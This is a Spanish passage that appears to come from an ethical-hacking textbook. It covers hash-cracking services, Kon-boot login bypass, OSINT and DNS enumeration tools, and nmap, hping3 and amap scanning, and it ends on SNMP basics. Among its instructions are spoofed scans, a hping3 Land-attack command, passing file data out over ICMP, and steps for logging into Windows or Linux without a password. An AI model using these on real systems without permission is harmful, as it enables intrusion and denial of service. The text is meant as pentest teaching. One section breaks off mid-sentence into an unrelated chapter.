permite utilizar muchos servicios de cracking en línea. Está incluido en la última versión de BackTrack. Soporta los siguientes algoritmos de hash:  MD4  MD5  SHA1  SHA256  RMD160  MySQL  CISCO7  LM  NTLM A día de hoy, utiliza todos los servicios siguientes: Schwett.com, Netmd5crack.com, MD5-Cracker.tk, tools.BenRamsey.com, md5.Gromweb.com, md5HashCracking.com, victorov.su, md5.thekaine.de, tmto.org, md5-db.de, md5.my-addr.com, md5pass.info, md5decryption.com, md5crack.com, md5online.net, md5-decrypter.com, authsecu.com, ash-crack.com, objectif-securite.ch, c0llision.net, md5.rednoize.com, cmd5.org, cacin.net, ibeast.com, password- decrypt.com, bigtrapeze.com, hashchecker.com, md5hashcracker.appspot.com, passcracking.com, askcheck.com, cracker.fox21.at, crackfoo.nicenamecrew.com, joomlaaa.com, md5-lookup.com, sha1-lookup.com, sha-256.sha1-lookup.com, ripemd- lookup.com, md5.com.cn, md5.digitalsun.pl, md5.drasen.net, md5.myinfosec.net, md5.net, md5.noisette.ch, md5hood.com, stringfunction.com, xanadrel.99k.org, isc.sans.edu, bokehman.com Permite, por este motivo, ganar un tiempo considerable si se hace referencia a nuestro hash en alguna de estas páginas. Su uso es muy simple, hay que indicarle el algoritmo de hash que se desea utilizar y podemos pasarle tres argumentos:  -h: determina el hash  -f: permite pasarle un archivo de hash al script  -g: hace una búsqueda del hash si esté no se ha crackeado. Con lo que se obtiene, por ejemplo: ./findmyhash.py <algoritmo> -h <hash> -g n. Bypass de la autentificación de Windows y Linux Kon-boot es un pequeño programa escrito en Ensamblador y multiplataforma que permite hacer el bypass de la autentificación en Windows y Linux. Existe una versión libre [19] y una versión comercial [20]. La versión gratuita funciona en Windows XP y Vista de 32 bits (no probado en el resto) y en las principales distribuciones Linux (Gentoo, Debian, Ubuntu, Fedora). La versión comercial funciona en todas las versiones de Windows de 32 y 64 bits. Hay que descargar la imagen ISO de la web, realizando una búsqueda en Google, y grabarla en un CD-Rom. El resto es muy sencillo, en el caso de que el sistema atacado sea Windows, basta con arrancar con el CD kon-boot y dejar que se ejecute. Kon-boot va a evitar la autentificación, ejecutará Windows y mostrará la pantalla de apertura de sesión. ¡Sólo nos queda hacer clic en la cuenta deseada y se abrirá la sesión sin pedir contraseña! En Linux, el método es ligeramente distinto. Hay que arrancar también desde el CD y dejar que Kon-boot ejecute la distribución Linux. Una vez que estamos en la pantalla de login, hay que pasar al modo consola ([Alt]+[Ctrl]+[F2]) e introducir el login kon-usr y pulsar [Enter]. El sistema se abrirá con una sesión con derechos de administración. Para restablecer la configuración original, reiniciamos del mismo modo y escribimos kon-fix en el login. o. Esquivar la autentificación de Windows - Método Adam Boileau Existe un método para esquivar la autentificación de Windows que usa el FireWire accediendo directamente a la memoria (DMA). El principio de este ataque consiste en hacer pasar un PC pirata funcionando con Linux por un periférico de almacenamiento FireWire, en nuestro caso un iPod. Explotaremos el hecho de que el uso de periféricos es plug and play y funcionará incluso cuando la sesión esté bloqueada. La instalación se realiza automáticamente. La máquina que realice este ataque tiene que estar preparada y requerirá algunos paquetes. Se requier El hacking ético En el capítulo Metodología de un ataque, nos hemos puesto en el contexto de un ataque real, también conocido como de caja negra. Por supuesto, el hacking ético retoma este contexto, pero en función de la auditoría solicitada podemos poner en práctica otras estrategias. En primer lugar, ¿qué es el hacking ético? 1. Definición El hacking ético describe el arte del pentester. El objetivo es medir el nivel de seguridad del Sistema de Información de una empresa. De este modo, hay empresas de seguridad que realizan ataques (también llamados "pruebas o test de penetración") para revelar y corregir fallos de seguridad en un determinado sistema. En efecto, la seguridad absoluta no existe y, en vista de la rápida evolución de los sistemas informáticos, la única manera de garantizar una seguridad adecuada es implantar una política de pentesting, dando lugar a nuevos puestos en el mundo de los Responsables de Seguridad de Sistemas Informáticos (RSSI). 2. Perfiles de hacker Se definen generalmente tres perfiles en el mundo de la seguridad basada en técnicas de intrusión:  El hacker, también llamado White Hat. Su objetivo es poner de manifiesto las vulnerabilidades y comunicarlas para que se corrijan.  El cracker, también llamado Black Hat, y a menudo calificado de pirata, que intenta explotar los fallos referenciados (fallos conocidos, 0-day exploits) o no, con el objetivo de sabotear (desfiguración del sitio web, robo de información, etc.).  El último, el pentester, es generalmente un hacker que ha decidido hacer de su trabajo su pasión y su razón de existir. Es un profesional de la seguridad que actúa en el marco de la prestación de seguridad solicitada por empresas. Sus pruebas no serán nunca destructivas. 3. Tipos de auditoría Podemos distinguir dos tipos de auditoría:  La auditoría llamada Black-Box, que implica que el empresario auditado no proporciona ningún tipo de información sobre su Sistema Informático. En este caso, el auditor se pone en la situación de un cracker, con el objetivo de responder a las preguntas de la empresa que pueden ser del tipo: "¿Es capaz de penetrar en el sistema? ¿Cómo ha sido detectado?...".  La auditoría llamada White-Box, que implica que la empresa proporciona información al equipo de Pentesters. En este caso los ataques están acotados y a menudo están previamente elegidos. 4. Estrategias de auditoría Nos podemos encontrar con distintos tipos de estrategia en una auditoría:  La estrategia de auditoría llamada a ciegas (blind strategy) que se realiza en caja negra y que consiste en advertir a los administradores de red de la empresa y en no facilitar ninguna información al Pentester. Esta estrategia requiere profundos conocimientos sobre los métodos usados por crackers y gran cantidad de tiempo en investigación, con lo que aumenta su coste económico.  La estrategia de auditoría llamada doblemente a ciegas (Double Blind Strategy) que corresponde a la misma situación de auditoría pero sin avisar a los miembros de IT. Permite probar la capacidad de reacción del equipo de IT ante la detección de un ataque. Sin embargo, es también muy cara.  Con la estrategia de auditoría en caja gris (Gray Box Strategy), al equipo de IT se le previene de los distintos escenarios de auditoría y éste deberá proporcionar información limitada al Pentester. Se realiza la prueba del sistema objetivo en un marco de vigilancia aleatoria.  La estrategia de auditoría en doble caja gris (Double Gray Box Strategy) es idéntica a la anterior pero se informa al equipo de IT de antemano de los campos de acción y de las fechas de las pruebas, pero no de los escenarios de test. El test del sistema se realiza en un marco de supervisión con incertidumbre.  La estrategia de auditoría Tándem (Tandem Strategy) se realiza en caja blanca. El Pentester trabaja en colaboración con el personal de IT que le proporcionan toda la información. Permite probar controles y el nivel de protección del sistema en cuestión, pero no su comportamiento.  Con la estrategia de auditoría Inversa (Reversal Strategy), no se avisa al personal de IT pero la información sobre el sistema se facilita al atacante. Esta estrategia permite probar la capacidad de reacción del equipo de IT en la ejecución de contraataques. 5. Metodología de auditoría Los pentesters siguen metodologías con referencias:  OSSTMM (Open Source Security Testing Methodology Manual) [1]  OWASP (Open Web Application Security Project) [2] También utilizan herramientas de reporting para informar sobre los incidentes detectados:  ORG (OWASP Report Generator) [3]  Dradis framework [4 Recopilación de información La recolección de información (information gathering), también llamada "toma de huellas", siempre precede a una auditoría y, en el caso de un pirata, a un ataque. Se puede dividir en dos categorías:  El footprinting, también llamado reconocimiento pasivo en castellano.  El fingerprinting, o reconocimiento activo, de índole más agresiva. 1. Footprinting Una de las primeras tareas que se debe realizar para comenzar una recolección de información en un dominio es ejecutar un "whois" sobre éste. La herramienta whois (literalmente "¿quién es?") permite preguntar a bases de datos, también llamadas registros, para obtener información sobre el propietario del nombre de un dominio, los contactos administrativos y técnicos, los servidores de nombres así como los rangos de direcciones IP asignadas. El sitio web del NIC [5] ofrece un sucedáneo de este servicio para España y en Linux la herramienta whois está disponible en línea de comandos. Contiene varios servidores whois en su archivo de configuración y elige uno en función de la extensión del dominio sobre el que lanzamos la petición whois. El sitio web de IANA [6] le permitirá buscar el servidor whois que necesita para su petición. a. Recolección de información mediante redes sociales Las redes sociales son una verdadera mina de oro para buscar datos sobre una persona como sus amigos, sus aficiones, sus centros de interés y muchos otros aspectos con vista a preparar un ataque por social engineering. 123people 123people es un servicio de búsqueda de personas en tiempo real que busca información por toda la Web. Muestra de forma estructurada números de teléfono, imágenes, vídeos, perfiles de redes sociales y reseñas de la Wikipedia. Facebook Esta famosa red social, mundialmente conocida, permite a cualquier persona que haya creado una cuenta publicar información propia (privada o no) a amigos o grupos de amigos que ha definido previamente. Este sitio web ha sido, después de Google, el segundo sitio web más visitado del mundo en el año 2009. Este sitio se ha convertido en un verdadero fenómeno social y son pocas las personas que no se han inscrito. Rebosa información muy reveladora sobre la vida privada y profesional de sus usuarios. Además, permite aceptar muy fácilmente a amigos de amigos, y raros son los que valoran y no aceptan sistemáticamente cada petición. Rápidamente se puede ver que en este sistema ser amigo de la persona que nos interesa y acceder a su preciada información es muy fácil. De este modo, son muchos los empleados de recursos humanos que usan este sitio web para informarse sobre los candidatos que reciben antes de su incorporación. Maltego Maltego es una aplicación Java desarrollada por la empresa sudafricana Paterva [7]. Permite realizar rápidamente múltiples búsquedas de información sobre lo que se llamarán entidades (personas, sitios web, redes, AS, direcciones de correo, expresiones, direcciones IP...). Esta herramienta automatiza las tareas de "footprinting" de cara al test de penetración: partiendo del nombre de la empresa, iremos recopilando y avanzando fácilmente por su infraestructura técnica (servidores DNS, servidores Web, servidores de Correo, hosting...). Utiliza métodos llamados transform y varias fuentes de información (motores de búsqueda, redes sociales, dns...). Está disponible en dos versiones, una gratuita y otra de pago. La interfaz de Maltego es bastante intuitiva, basta con arrastrar una entidad al gráfico y aplicarle el transform deseado. A continuación, basta con utilizar las transformaciones en función de lo se desea buscar. Hay bastantes plug-ins que se pueden integrar con Maltego (nmap...). Google Hacking No se puede hablar de footprinting sin nombrar a Google Hacking. Consiste en descubrir información sensible de los sitios web de Internet vulnerables, y datos diversos sobre la víctima, con la ayuda de peticiones de búsqueda específicas y construidas con mucho juicio a Google. Con una manipulación fina de las operaciones de búsqueda ofrecidas por Google, se puede extraer en unos pocos minutos resultados más que sensibles. Johnny Long ha descrito en su libro Google Hacking las diferentes técnicas de búsqueda que permiten recopilar datos valiosos sobre un sitio web, un dominio, una persona u otros tipos de entidad. Existen varios artículos en Internet que tratan sobre Google Hacking ¡y una buena búsqueda en Google debería permitirnos encontrarlos rápidamente! Metagoofil (búsqueda de documentos) Metagoofil.py [9] es un script escrito en Python que permite encontrar documentos accesibles en un sitio web a través de su extensión. Uso: metagoofil opciones Opciones:  -d: dominio de la búsqueda.  -f: tipos de archivo que se buscarán (all, pdf, doc, xls, ppt, odp, ods, etc).  -l: número máximo de archivos que se buscarán.  -o: formato del archivo de informe generado, html format.  -t: ruta al directorio donde se almacenarán los archivos obtenidos. TheHarvester TheHarvester.py es un script Python con el que se puede obtener cuentas de correo, nombres de usuario y nombres de host de subdominios. Uso: theharvester.py opciones Las opciones son:  -d: dominio o nombre de la empresa.  -b: fuente pública (google, bing, linkedin, pgp).  -v: comprobar el nombre de host mediante DNS.  -l: limitar el número de resultados. Google ahora bloquea el spidering. b. Herramientas Web Shodan Shodan [8] es un motor de búsqueda que hace referencia a elementos conectados a Internet. Permite encontrar servidores con firmas o servicios específicos. Asimismo, permite buscar servidores que utilicen una versión concreta de un aplicativo de la que sepamos que hay vulnerabilidades conocidas. El uso de Shodan es muy sencillo. Hay que inscribirse en su sitio web para beneficiarse de todas sus funcionalidades. La búsqueda se realiza con la combinación de una aplicación y su número de versión (por ejemplo, IIS6.0). El resultado estará compuesto de hardware de red donde la aplicación buscada está implementada. El atacante se encargará de elegir una aplicación conocida por sus vulnerabilidades. Estas búsquedas son generalistas pero permiten encontrar un elemento conectado que puede contener fallos y podrá servir de base para un ataque, preservando de este modo el anonimato del atacante. Existe un plugin de Shodan para Maltego [10]. Robtex El sitio web robtex [11] es la navaja suiza del administrador de red, ya que da mucha información sobre las direcciones IP y los nombres de un dominio. Permite obtener mucha información relativa a los DNS, a los servidores de correo, a las listas de bloqueo (RBL), a las direcciones IP y a los subdominios. Hagamos una búsqueda de "ediciones-eni.com". La pestaña graph es muy explícita sobre la organización del dominio: DNS History El sitio web DNS History [12] también puede ser interesante para ver la evolución del dominio que nos interesa. Es muy fácil de usar, basta con introducir el nombre del dominio en el campo de búsqueda. c. Herramientas de listado Las herramientas de listado son a menudo comandos o scripts que reúnen varios comandos que permiten obtener datos técnicos sobre nombres de hosts y sus IP, los subdominios y las diferentes direcciones de red. También puede desarrollar fácilmente sus propias herramientas utilizando lenguajes evolucionados como Python. Host Este comando se utiliza en Linux. Con un nombre de máquina o de dominio pasado como argumento, nos devuelve la dirección IP correspondiente. Su equivalente en Windows es el comando nslookup. Algunas veces, aunque sea cada vez más raro, algunos servidores DNS mal configurados autorizan lo que se llama una transferencia de zona. De hecho, permiten extraer listados de las direcciones IP, con sus nombres correspondientes, albergadas en el dominio. Con el comando host, basta con teclear: host -l <nombre del dominio> <ip del dns obtenida con whois> Obtenemos de este modo un listado de direcciones IP, algunas de las cuales son públicas y pueden ser accesibles desde el exterior. Dig El comando dig es una herramienta flexible para probar y preguntar al servidor DNS. Permite construir todos los tipos de petición y visualizar el conjunto de información de respuesta. DnsEnum Escrito por uno de los desarrolladores de backtrack, Filip Waeytens (barbsie), dnsenum.py [13] permite obtener rápidamente mucha información sobre los servidores DNS de un dominio determinado (servidor de nombres, transferencia de zona, subdominios, servidores MX, fuerza bruta en dns...). Este script necesita librerías Perl para funcionar, por lo tanto hay que instalar en Linux:  libnet-ip-perl  libnet-dns-perl  libtest-www-mechanize-perl  libnet-netmask-perl Para conocer los posibles argumentos que es posible pasar al script, basta con consultar la ayuda mediante: ./dnsenum.pl -h Este script permite realizar de forma automática una transferencia de zona si se está autorizado, buscar por fuerza bruta subdominios pasándole como argumento (-f) un archivo de dominio genérico, así como actualizar (-u) los resultados obtenidos. También recupera las clases C de los diferentes dominios obtenidos, y puede encontrar su bloque de red. Además, con la opción -w, puede efectuar un whois sobre las clases C descubiertas. También utiliza Google mediante la opción --enum para buscar otros subdominios. Es una herramienta que se la puede calificar tanto de footprinting como fingerprinting debido a la gran cantidad de acciones de reconocimiento pasivo y activo que puede realizar. Dnsbf dnsbf.py [14] es un script escrito en Python que realiza una búsqueda DNS inversa para cada IP de una subred determinada. Este script puede ser muy útil cuando la transferencia de zona da error. Este script se ejecuta sobre una dirección de red escrita en notación CIDR (Classless Inter-Domain Routing). Ejemplo ./dnsbf.py 134.10.240.0/24 Dnsdic Ahora buscamos otras direcciones de subdominios en las que podremos volver a aplicar este método. Para ello, utilizaremos el script dnsdic.py [15] que utiliza un diccionario de subdominios. ./dnsdic.py -f dns.txt <nombre del dominio> Dnsmap Otro script de búsqueda de subdominios por diccionario es dnsmap [16]. El tiempo de búsqueda depende del tamaño del diccionario. Es útil combinar varios diccionarios. Después de descargar el archivo del sitio web, hay que descomprimirlo y compilar el archivo dnsmap.c. Un archivo llamado README.txt mostrará los argumentos posibles para este script. Dnsrecon Dnsrecon es una herramienta desarrollada en Ruby por Carlos Pérez, desarrollador en el proyecto MetaSploit y miembro del equipo PaulDotCom. Como Fierce, o DNSEnum, Dnsrecon es una herramienta de recuperación de información mediante el uso de servidores DNS. Dnsrecon obtiene información mediante los "reverse lookups" de direcciones IP. Pero a diferencia de DNSEnum, que descubre él mismo las redes de un dominio, debemos especificar a DNSRecon una dirección IP de inicio y una dirección IP de fin. Gracias a este hecho, Dnsrecon nos deja la elección de las redes que deseamos escanear. Una función interesante de Dnsrecon es la recuperación automática de información de todos los TLD (Top Level Domain) asociados a un nombre. Además, puede obtener subdominios por fuerza bruta (archivo) y la recuperación de información basada en las entradas NS, entradas SOA y entradas MX. Ofrece la posibilidad de realizar transferencias de zona e integra ayuda por línea de comandos: ./dnsrecon.rb -h Dnswalk Dnswalk [17] es un depurador dns escrito en Perl que realiza transferencias de zona. La línea de comandos tiene que terminar siempre con un punto. Por ejemplo, se puede ejecutar el comando siguiente: ./dnswalk -fradm <nombre de dominio> Subdomainer Subdomainer.py [18] es un script escrito en Python que recopila información de los subdominios desde las fuentes públicas de información como Google, Msn Search, Yahoo, PgP servers... La ayuda de este script se obtiene introduciendo en línea de comandos: python subdomainer.py -h Hostmap Hostmap.rb [19,20] es un script Ruby capaz de determinar la lista de los sitios albergados por un servidor compartido y de buscar los posibles servidores de correo y de nombres que pueden estar presentes en la red. Todo esto a partir de una dirección IP. Genera un listado de los subdominios y el número de IPs del mismo. Además, con la opción --print-maltego puede generar un archivo formateado para Maltego, del que ya hemos hablado previamente. La opción -h, como en el caso de los demás scripts, nos proporciona acceso a la ayuda. Por defecto, el comando siguiente basta para realizar una búsqueda. ./hostmap.rb -t <dirección ip> Fierce fierce.pl [21] igual que dnsenum es un potente script de búsqueda por DNS. Se encarga de buscar los dns del dominio, los subdominios y las subredes. Intenta realizar una transferencia de zona y a continuación inicia un ataque de fuerza bruta contra los nombres. También se le puede adjuntar un archivo (host.txt) de nombres de subdominios. También realiza una captura de firma de los servidores web para determinar su versión. Si se le pasa la opción -h al script, nos dará acceso a la ayuda del mismo. Comando: perl fierce.pl -dns <nombre del dominio> -connect hosts.txt Igual que dnsenum.pl, utiliza reconocimiento pasivo y activo. 2. Fingerprinting Netcat Como hemos visto en el capítulo Metodología de un ataque, Netcat es una pequeña herramienta que permite gestionar una conexión de red (socket) con un puerto y un servicio cualesquiera. Se puede usar para muchos tipos de acciones, tales como el escaneo de puertos, la recuperación de firmas, la emulación de troyanos, el envío de email... y mucho más. Una simple búsqueda en Google con las palabras clave Netcat download basta para encontrarlo. Es libre y funciona tanto en Linux como en Windows. Netcat contiene toda una serie de opciones que están orientadas al barrido. De este modo, es capaz de escanear una IP y descubrir los servicios disponibles en sus puertos: nc -v -z ip_víctima 1-1024 Este comando va a escanear todos los puertos entre el 1 y el 1024 e indicará cuáles son los puertos abiertos y cerrados. La opción -v pone a Netcat en modo verbose, la opción -z realiza un escaneo rápido que no se detiene si el puerto está abierto. La opción -i permite especificar un tiempo (ms) entre cada escaneo para evitar hacerse notar. Se añadirá la opción -r para generar un escaneo aleatorio. Nmap Netcat no es el mejor escáner, el programa Nmap que hemos visto anteriormente es el que goza de mayor reputación entre todos. Nmap (network mapper) [22] es un software libre y gratuito que permite descubrir redes y realizar auditorías de seguridad. Se encuentra disponible para todas las plataformas y permite descubrir el hardware conectado a la red y proporcionar información acerca de su sistema operativo. Para comenzar a escanear la red con nmap, podemos intentar determinar cuáles son las máquinas encendidas dentro de ella. Podemos servirnos de la opción -sP que nos devolverá las máquinas que están funcionando si hemos añadido la opción -v (verbose) o -vv (very verbose). El problema que existe con un escaneo clásico es que no es nada discreto. Se establece una conexión y, por lo tanto, puede quedar registrada en los logs del servidor. Existe un escaneo denominado "discreto". Para comprender su funcionamiento, estudiemos cómo se establece una conexión TCP. El three-way handshake, o triple choque de manos en castellano, es una conexión que se establece en tres etapas que deben realizarse siempre entre dos hosts: El cliente realiza una petición de conexión al servidor enviándole un flag ’SYN’ (synchronize). El servidor le responde indicándole mediante un ’SYN-ACK’ (synchronize- acknowledgment) que está listo para recibir una confirmación. El cliente le envía una confirmación ’ACK’ (acknowledgment), la conexión se establece y pasa a estado ’established’. En la encapsulación TCP, los flags representan información adicional:  URG: si este flag está a 1, el paquete debe ser tratado de forma urgente.  ACK: si este flag está a 1, el paquete es un acuse de recibo.  PSH (PUSH): si este flag está a 1, el paquete funciona siguiendo el modo PUSH.  RST: si este flag está a 1, se reinicia la conexión.  SYN: el flag TCP SYN indica una petición de establecimiento de conexión.  FIN: si este flag está a 1, la conexión se interrumpe. El principio de un escaneo discreto también llamado escaneo "FIN" es el de cortar la conexión antes de que se establezca, lo que impide el registro de la misma. Por lo tanto, este tipo de escaneo iniciado por el cliente corta la conexión enviando un flag ’RST’ en vez de un ’ACK’ que validaría la conexión. Para realizar este tipo de escaneo, se utiliza la opción -sS de Nmap y hay que estar en modo superusuario: Para ser todavía más discretos, podemos también utilizar el argumento --scandelay que permite definir el tiempo de espera entre cada escaneo. Otra opción interesante es -A que intentará averiguar la versión del servicio que hay detrás de cada puerto y la versión del sistema operativo. De hecho, Nmap está repleto de opciones. Podemos descubrirlas en el sitio web dedicado a Nmap [22]. Otra opción avanzada de nmap es la suplantación de identidad. Tomemos por ejemplo la siguiente línea de comandos: nmap --packet-trace -S 192.168.1.35 -g80 -e wlan0 192.168.1.210 Solicitamos un escaneo que registre los paquetes (para comprobar la suplantación) y que dé la impresión, con la opción -S, de que se ha hecho desde la dirección 192.168.1.35 y desde el puerto 80 a la dirección 192.168.1.210 (víctima) mediante la interfaz de red wlan0 (-e). Explicar todas las opciones de nmap sería demasiado extenso, podríamos dedicarle un libro entero para él solo. Esta herramienta libre tiene muchos artículos por Internet para los que deseen profundizar en su uso. Hping Hping3 es una herramienta de manipulación de paquetes de red que permite realizar escaneos de máquina, detectar el sistema operativo, comprobar las reglas de un cortafuegos, etc. Ofrece la opción de generar paquetes no habituales que nos permitirán comprobar las reacciones del sistema elegido. Intentemos por ejemplo generar un paquete en el que todos los flags estén a 1 (o activados) (syn, push, fin, ack, rst, urg). Pondremos un tcpdump en la víctima para mostrar su comportamiento. Para realizar nuestras pruebas utilizaremos máquinas virtuales, una con BackTrack, una con Debian y una equipada con Windows XP. Abrimos un terminal en la máquina víctima (Debian) y ejecutamos el comando: tcpdump -p -nnvv host <ip> En la otra máquina (BackTrack), ejecutamos el comando: hping3 --syn --push --fin --ack --rst --urg <ip> Podemos constatar que Hping utiliza por defecto el protocolo TCP y envía un paquete con todos los flags a 1 al puerto 0 del sistema. Probaremos ahora a recrear un Land Attack, que se hacía en los systemas NT y que consistía en enviar paquetes formateados de forma especial. Este formateo daba la impresión al sistema de que los paquetes provenían de él con destino a sí mismo y que el puerto de origen era también el puerto de destino. Este ataque dejaba los sistemas inestables y podía provocar un DoS (Denial of Service). Los sistemas recientes ya no son vulnerables a este tipo de ataque. El comando es de este tipo: hping3 -count 3 -baseport 80 -keep -destport 80 -syn -spoof10.0.0.2 10.0.0.2  --count 3: para enviar tres peticiones.  --baseport, keep y destport: puerto origen, source, mantener el puerto 80, sin incrementarlo y puerto de destino.  --syn: activar el flag SYN.  --spoof: hacer spoofing (suplantar) de la dirección de origen. Si observamos la reacción de la víctima mediante tcpdump, constatamos que efectivamente ésta tiene la impresión de que está recibiendo paquetes provenientes de su propia IP hacia sí misma y del puerto 80 al puerto 80. Hping3 también permite pasar el contenido de un archivo mediante el protocolo ICMP (si todo está filtrado excepto el ping). Creamos un archivo llamado test.txt que contenga el texto "Esto es un test." de 16 caracteres ASCII o 16 bytes. wc -c test.txt En la primera máquina ejecutamos el comando: #hping3 --icmp --count 4 --data 4 --file test.txt 10.10.10.2 Después en el terminal de la máquina víctima, añadimos X a las opciones de tcpdump para mostrar en hexadecimal: #tcpdump -nnvvX 10.10.10.2 Encontramos en la visualización de tcpdump el contenido de nuestro archivo, de 4 veces 4 bytes. Hping3 también permite escanear un sistema enviando un SYN y examinando el retorno. Si recibimos flags=RA el puerto está cerrado y si recibimos flags=SA el puerto está abierto. Por lo tanto, podemos iniciar el escaneo de un solo puerto con el comando: #hping3 -I eth0 -S 10.10.10.2 -p 111 Con nuestro programa tcpdump siempre en la máquina víctima (10.10.10.2), constatamos que ésta recibe correctamente un SYN de 10.10.10.1 (el emisor) y devuelve un SYN/ACK por el puerto 111 queriendo decir que está abierto. Si queremos escanear un rango de puertos, basta con añadir la opción ++ delante del número del puerto, el escaneo se iniciará entonces en ese número de puerto y se irá incrementando de uno en uno cada vez. #hping3 -I eth0 -S 10.10.10.2 -p ++111 Hping3 también permite determinar el sistema operativo del sistema atacado examinando el campo WINDOW SIZE de los paquetes devueltos. Se puede identificar algunos OS por el valor devuelto para este campo. Arranquemos una máquina con Windows XP que tiene como dirección IP la 10.10.10.100. Vamos a realizar un escaneo en el puerto 139 de esta máquina con el comando: #hping3 -S -p 139 10.10.10.100 En la salida, este comando nos devuelve los flags SA, que indican que el puerto está abierto, y también el campo win=64240 que corresponde a un tamaño de ventana de un sistema Windows. Idle scan La técnica de escaneo en idle scan consiste en utilizar una máquina que tiene poco o nada de tráfico (generalmente por la noche), llamada zombie, para escanear a la víctima. Se basa en los números de identificación IP. Se envía un SYN/ACK a la máquina zombie que devuelve un IPID. Se envía a continuación SYN a la máquina víctima haciéndose pasar por la zombie (spoof); la víctima responde con un RST si el puerto está cerrado, el zombie no incrementa su IPID. Si el puerto está abierto, la víctima envía un SYN/ACK; el zombie envía entonces un RST e incrementa su IPID en 1, la máquina de ataque que está vigilando verá entonces un +2 en el IPID del zombie, lo que significa que el puerto de la víctima está abierto. Ejecutemos el comando en la máquina 10.10.10.1 haciéndonos pasar por 10.10.10.100, podemos constatar el incremento de 2 en el zombie (10.10.10.100) cuando el escaneo cae en un puerto abierto. Amap Amap [23] es una herramienta de pentester de última generación. Es un escáner de protocolos creado por el grupo THC. Permite encontrar el servicio en un puerto "no estándar" utilizando entre otras la captura de banner. Por ejemplo, el siguiente comando nos dará el servicio que está escuchando en el puerto 19000 de la máquina con IP 192.168.1.210: amap 192.168.1.210 19000 Ejecutamos amap en modo verbose (-v) en la IP 194.x.x.234 pidiéndole que muestre en ASCII los banners (-b) y que no muestre los puertos cerrados (-q). Obtenemos datos de los banners como, por ejemplo, un servidor Apache versión 2.2.8 que devuelve esta máquina. Amap -bvq 194.XX.234 1-65535 También se puede recuperar el archivo resultado.nmap como resultado del comando: nmap -sS -oM resultado.nmap -p 1-65535 <ip víctima> Y utilizarlo con amap de este modo: amap -i resultado.nmap -o resultado.amap -m Se especifica a amap que tome como entrada el archivo resultado.nmap y que ponga el resultado de su análisis en un archivo (-o) y con formato legible (-m). Amap incluye muchas otras opciones que se podrán descubrir en Linux mediante el manual en línea (man amap). Httprint Httprint [24] es una herramienta de toma de huellas de servidores Web. Se basa en las características de un servidor Web para identificarlo de forma precisa incluso si ha sido ofuscado (lo han desfigurado), ya sea modificando su banner o bien mediante plug-ins como servermask. También es capaz de detectar ciertos periféricos que tienen un acceso Web activo sin banner, como los puntos de acceso Wi-Fi y los routers. Httprint utiliza las firmas en modo texto, lo que hace que sea muy fácil añadirlas. También es capaz de importar los hosts que queremos probar desde un archivo de salida de Nmap con formato XML. Otra función interesante de httprint es la recolección de información relativa a SSL: fecha de expiración del certificado, versión del protocolo, algoritmo de cifrado usado... Asimismo es capaz de seguir las redirecciones y realizar un análisis del "nuevo" servidor. Se utiliza por línea de comandos en Linux. Sin embargo, la versión para plataformas Windows dispone de una interfaz gráfica de usuario (GUI) que permite presentar correctamente los resultados cuando se escanean varios hosts a la vez. httprint -h 194.X.X.77 -P0 -s /usr/share/httprint/signatures.txt -o httprint.output.html Con este comando ejecutamos httprint en una dirección proporcionándole la ruta al archivo de firmas, pidiéndole que no utilice el comando ping y que genere un archivo de salida en html con los resultados del comando. A continuación, podemos abrir el archivo con un navegador. Observamos que el servidor Web HP-Chaiserver versión 3.0 es el que está en ejecución tras el puerto 80 de la máquina 194.X.X.77. Estamos, de hecho, en la página de administración de una impresora de red. Dmitry Dmitry [25] (Deepmagic Information Gathering Tool) es una caja de herramientas orientadas a la Web. Se puede hacer un whois en una dirección IP o un dominio, buscar información anexa como subdominios o cuentas de correo, realizar un escaneo de puertos y leer los banners devueltos por el sistema y los servicios remotos. dmitry -winsepfb -o miarchivo.txt x.com  -winsepfd: ejecuta la búsqueda de toda la información en relación con la URL (whois, subdominios, emails...).  -o: guarda una copia de los resultados en el archivo cuyo nombre se le indica. El protocolo SNMP En el funcionamiento del protocolo SNMP, el sistema de gestión de red se basa en dos elementos principales: un supervisor y los agentes. El supervisor es la consola que permite ejecutar peticiones de gestión. Los agentes son las entidades que se encuentran a nivel de cada interfaz que conecta el equipamiento gestionado a la red y permiten obtener información sobre distintos objetos. Los switches, hubs, routers y servidores son el equipamiento que contiene objetos que se pueden gestionar. Estos objetos son datos hardware, parámetros de configuración y otro tipo de objetos ligados directamente al comportamiento de un equipo. Se clasifican en una base de datos llamada MIB (Management Information Base). SNMP asegura el diálogo entre el supervisor y los agentes para buscar objetos en la MIB. La arquitectura de gestión de red que proporciona el protocolo SNMP se basa en tres elementos principales:  El equipamiento que se gestiona son elementos de red (bridges, switches, routers o servidores) que contienen objetos de gestión. Estos elementos de gestión son datos sobre el hardware, elementos de configuración o información estadística.  La aplicación de gestión de red que reside en un periférico se llama agente y es la encargada de transmitir los datos de gestión del periférico en formato SNMP.  Los sistemas de gestión de red (NMS) se llaman supervisores. Un supervisor es, de hecho, una consola a través de la cual los administradores pueden realizar tareas de administración. El SNMP (Simple Network Management Protocol) propuesto por la IETF (Internet Engineering Task Force) es actualmente el protocolo más usado para la gestión de equipos de red. De este modo distinguimos el equipo de supervisión (manager), los elementos activos de la red (agents), las variables MIB (Management Information Base) y un protocolo (UDP). El equipo de supervisión utiliza el puerto 162 en UDP para recibir alertas de los agentes. Los agentes utilizan el puerto 161. Como hemos visto en el capítulo anterior, podemos usar el escáner nmap para descubrir si el protocolo SNMP escucha algún equipo en los puertos 161 y 162, por ejemplo: nmap -sU -p 161,162 <192.168.1.*> El resultado de scan SNMP: La MIB es la base de datos de información de gestión que mantiene el agente y que será consultada por el manager. Actualmente se habla de MIBI y II (1 y 2). Un archivo MIB describe las variables, las tablas y las alarmas generadas en el interior de una MIB. Se puede representar la MIB como una estructura de árbol en la que cada nodo se define con un nombre que se llama OID (Object IDentifier). Para consultar las distintas variables de actividad hay que explorar la MIB mediante los números de cada nivel jerárquico, por ejemplo 1.3 para ORG. A continuación se muestra un ejemplo de árbol MIB: Se utiliza la sintaxis ASN.1 (sintaxis de la capa de presentación) para describir los datos. Cada objeto está representado por un Object IDentifier. Si queremos acceder al objeto Internet, podemos definir el acceso en notación ASN.1 de la siguiente manera: Object Identifier::= {ISO Org(3) dod(6) 1} Es preferible utilizar la notación puntuada, ya que es más legible para nosotros. Así, el nodo Internet se escribirá del siguiente modo: 1.3.6.1 Los protocolos SNMP v1 y v2 no tienen un mecanismo adecuado para la seguridad de las funciones de gestión. La comunicación es pública por defecto. La versión 3 incluye seguridad en las transacciones. Éstas se encriptan y el VACM (View Access Control Model) asegura el control de acceso al MIB. Se puede restringir el acceso al MIB en modo lectura/escritura para un grupo o para un usuario. 